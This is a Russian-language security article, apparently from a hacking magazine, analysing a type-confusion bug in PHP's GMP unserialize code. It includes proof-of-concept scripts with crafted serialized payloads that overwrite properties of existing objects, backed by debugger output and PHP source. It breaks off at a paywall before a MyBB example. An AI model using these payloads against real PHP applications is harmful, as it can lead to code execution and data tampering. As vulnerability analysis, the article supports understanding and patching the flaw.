В этом выпуске я расскажу об ошибке в десериализаторе объектов GMP в PHP, об уязвимости в сервере Bitbucket, которая позволяет, минуя авторизацию, попасть в админку. Не обошли стороной и уязвимость в популярной CMS WordPress. Эксплуатация найденного бага позволяет изменять содержимое любой записи или страницы.
 

Выполнение произвольного кода в PHP через GMP

Дата релиза: 20 января 2017 года
Автор: Чэнь Таогуан (Taoguang Chen) @chtg57

 

BRIEF

Корень проблемы кроется в ошибке несоответствия используемых типов данных (type confusion) в механизме десериализации GMP (GNU MP). Используя переменные магического метода __wakeup(), специально сформированный объект после восстановления способен изменить свойства уже существующих объектов. Это может привести к различным уязвимостям: от XSS и SQLi до RCE, в зависимости от реализации логики приложения.

 

EXPLOIT

GMP (GNU Multi-Precision) — это библиотека для проведения вычислений с плавающей запятой и работы с числами произвольной точности. Для начала рассмотрим небольшой PoC, который демонстрирует уязвимость.

1:  <?php
2:  class obj
3:  {
4:      var $test;
5:
6:      function __wakeup()
7:      {
8:          $this->test = 1;
9:      }
10: }
11:
12: $obj = new stdClass; // $obj handle = 1
13: $obj->var1 = 1;
14: $obj->var2 = 2;
15:
16: $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}';
17: $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
18: $x = unserialize($exploit); // $x handle = 2
19: var_dump($obj);

Если версия PHP уязвима, то результатом выполнения будут измененные свойства var1 и var2 объекта $obj.

Результат выполнения скрипта с PoC
Результат выполнения скрипта с PoC

Каждая переменная в PHP представляет собой структуру, называемую ZVAL. Она содержит в себе несколько полей, которые относятся к переменной: тип, значение, число ссылающихся переменных и флаг, означающий, что переменная является ссылкой.

typedef struct _zval_struct {
    zvalue_value value;
    zend_uint refcount__gc;
    zend_uchar type;
    zend_uchar is_ref__gc;
} zval;

Сейчас нас интересуют только тип и значение. Тип переменной хранится как целочисленная метка и может меняться при выполнении программы. Ведь, как ты знаешь, PHP — это язык с динамической типизацией данных. Само же значение переменной хранится в union. Вот его структура:

typedef union _zvalue_value {
    long lval;                 // For booleans, integers and resources
    double dval;               // For floating point numbers
    struct {                   // For strings
        char *val;             // string value
        int len;               // string length
    } str;
    HashTable *ht;             // For arrays
    zend_object_value obj;     // For objects
    zend_ast *ast;             // For constant expressions
} zvalue_value;

Особенность этого типа в том, что данные хранятся в определенной области памяти и значение в ней интерпретируется исходя из имени, к которому происходит обращение. Например, если создадим переменную $x=1, то ее ZVAL будет выглядеть примерно так:

$x = {
  value = {
    lval = 0x1,
    dval = 2.121995791459338e-314,
    ...
    obj = {
      handle = 0x1,
      handlers = 0x1
    },
  },
  type = 0x1,
  ...
}

Тип переменной — int, поэтому в интерпретации ZVAL используется метка IS_LONG (type = 0x1).

#define IS_LONG     1      /* Uses lval */

То есть при обращении к этой переменной нужно будет пользоваться именем $x.lval, а если попробовать обратиться к $x.dval, то мы получим уже совершенно другое значение. Запомни эту особенность, она нам понадобится для понимания уязвимости.

Подробнее об устройстве и хранении данных в PHP ты можешь прочитать в руководстве на сайте, в книге PHP Internals или в статье на Хабре.

Теперь, вооружившись отладчиком, мы возвращаемся к описанию бага. Наше увлекательное путешествие начинается с файла gmp.c, в котором мы посмотрим на функцию десериализации:

/ext/gmp/gmp.c:

...
629: static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC)
630: {
...
643:    ALLOC_INIT_ZVAL(zv_ptr);
644:    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
645:        || Z_TYPE_P(zv_ptr) != IS_STRING
646:        || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
647:    ) {
648:        zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
649:        goto exit;
650:    }
...
653:    ALLOC_INIT_ZVAL(zv_ptr);
654:    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
655:        || Z_TYPE_P(zv_ptr) != IS_ARRAY
656:    ) {
657:        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
658:        goto exit;
659:    }
660:
661:    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
662:        zend_hash_copy(
663:            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
664:            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
665:        );
666:    }

Поставим брейки на строки 650 и 660, чтобы посмотреть, как изменяется object во время работы функции. Сначала восстанавливается сам класс GMP (строка 644). Если все прошло успешно, то наш object выглядит таким образом:

gdb-peda$ p **object
$71 = {
  value = {
    lval = 0x2,
    dval = 2.3274185658458967e-267,
    str = {
      val = 0x2 <error: Cannot access memory at address 0x2>,
      len = 0x8933640
    },
    ht = 0x2,
    obj = {
      handle = 0x2,
      handlers = 0x8933640 <gmp_object_handlers>
    },
    ast = 0x2
  },
  refcount__gc = 0x1,
  type = 0x5,
  is_ref__gc = 0x0
}

По типу можно видеть, что это объект (type = 0x5):

#define IS_OBJECT   5      /* Uses obj */

У каждого объекта есть хендл (handle). Это уникальный идентификатор, который инкрементируется всякий раз, когда ты создаешь экземпляр класса. Для примера возьмем такой код:

$a = new stdClass(); // handle = 1
$b = new stdClass(); // handle = 2
$c = new stdClass(); // handle = 3

Хендл объекта $c будет равен 3, потому что их отсчет начинается с единицы. По этому номеру из общего хранилища объектов можно получить данные, принадлежащие искомому.

Возвращаемся к нашему тестовому скрипту. Дальше идет десериализация атрибутов — строка 654. Тут происходит небольшая магия. Обрати внимание на последнюю часть сериализованных данных — O:3:"obj":1:{s:4:"test";R:2;}}'. Здесь атрибут obj->test — это ссылка на весь десериализованный объект (R:2;). Еще в классе obj присутствует магический метод __wakeup, который присваивает единицу свойству test. Поэтому после восстановления object конвертируется в совершенно другой ZVAL, который теперь имеет тип не объекта, а целочисленной переменной со значением, равным единице (строка 660).

gdb-peda$ p **object
$77 = {
  value = {
    lval = 0x1,
    dval = 2.121995791459338e-314,
    str = {
      val = 0x1 <error: Cannot access memory at address 0x1>,
      len = 0x1
    },
    ht = 0x1,
    obj = {
      handle = 0x1,
      handlers = 0x1
    },
    ast = 0x1
  },
  refcount__gc = 0x3,
  type = 0x1,
  is_ref__gc = 0x1
}

Дальше функция zend_hash_copy копирует данные object в переменную $x. Но сначала эти данные извлекаются с помощью zend_std_get_properties:

/Zend/zend_object_handlers.c:

105: ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC)
106: {
107:    zend_object *zobj;
108:    zobj = Z_OBJ_P(object);
109:    if (!zobj->properties) {
110:        rebuild_object_properties(zobj);
111:    }
112:    return zobj->properties;
113: }

Мы близки к развязке. Проблемный участок кода находится в строке 108. Что же делает Z_OBJ_P?

/Zend/zend_object_handlers.c:

35: #define Z_OBJ_P(zval_p) 
36:     ((zend_object*)(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(zval_p)].bucket.obj.object))

Из общего хранилища (EG(objects_store)) извлекается объект, у которого handle = object.value.obj.handle (object_buckets[Z_OBJ_HANDLE_P(zval_p)]).

Zend/zend_operators.h:

448: #define Z_OBJVAL(zval)         (zval).value.obj
449: #define Z_OBJ_HANDLE(zval)     Z_OBJVAL(zval).handle
...
468: #define Z_OBJ_HANDLE_P(zval_p) Z_OBJ_HANDLE(*zval_p)

Здесь мы запрашиваем значение ZVAL, не глядя на его тип. Вспомни, что я рассказывал про структуру переменных в PHP: в памяти хранится одно и то же значение, а его интерпретация зависит только от того, как к нему обращаются. Вот тут наша единица становится хендлом, который используется для нахождения объекта:

gdb-peda$ p object.value.obj.handle
$79 = 0x1

Под номером один у нас $obj (строка 12, скрипт test.php). Поэтому все свойства после десериализации записываются в него, что и открывает возможность для эксплуатации.

 

Установка хендлов через DateInterval

Как вручную задавать хендлы для изменения свойств нужных нам объектов? Для этого воспользуемся классом DateInterval. Местный магический метод __wakeup использует функцию convert_to_long() и может перезаписывать свойства своего же объекта. Подробнее об этом можешь прочитать на Гитхабе автора эксплоита.

С помощью функции gmp_cast_object() мы можем преобразовать объект в любой числовой ZVAL, чтобы затем использовать его для перезаписи объектов с нужными хендлами.

/ext/gmp/gmp.c:

436: static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
437: {
438:    mpz_ptr gmpnum;
439:    switch (type) {
...
445:    case IS_LONG:
446:        gmpnum = GET_GMP_FROM_ZVAL(readobj);
447:        INIT_PZVAL(writeobj);
448:        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
449:        return SUCCESS;

Посмотри на результат работы этого скрипта.

<?php
$a = new stdClass; // handle = 1
$a->test = false;
echo('Property $a->test is: ');
var_dump($a->test);
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}');
echo('Property $a->test changed to: ');
var_dump($a->test);

К сожалению, этот эксплоит работает только на PHP 5.6.11 или младше. Теперь перейдем к более жизненному примеру — RCE в движке форума MyBB.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


Оставить мнение

Check Also

Эхо кибервойны. Как NotPetya чуть не потопил крупнейшего морского перевозчика грузов

Российское кибероружие, построенное на утекших у АНБ эксплоитах, маскировалось под вирус-в…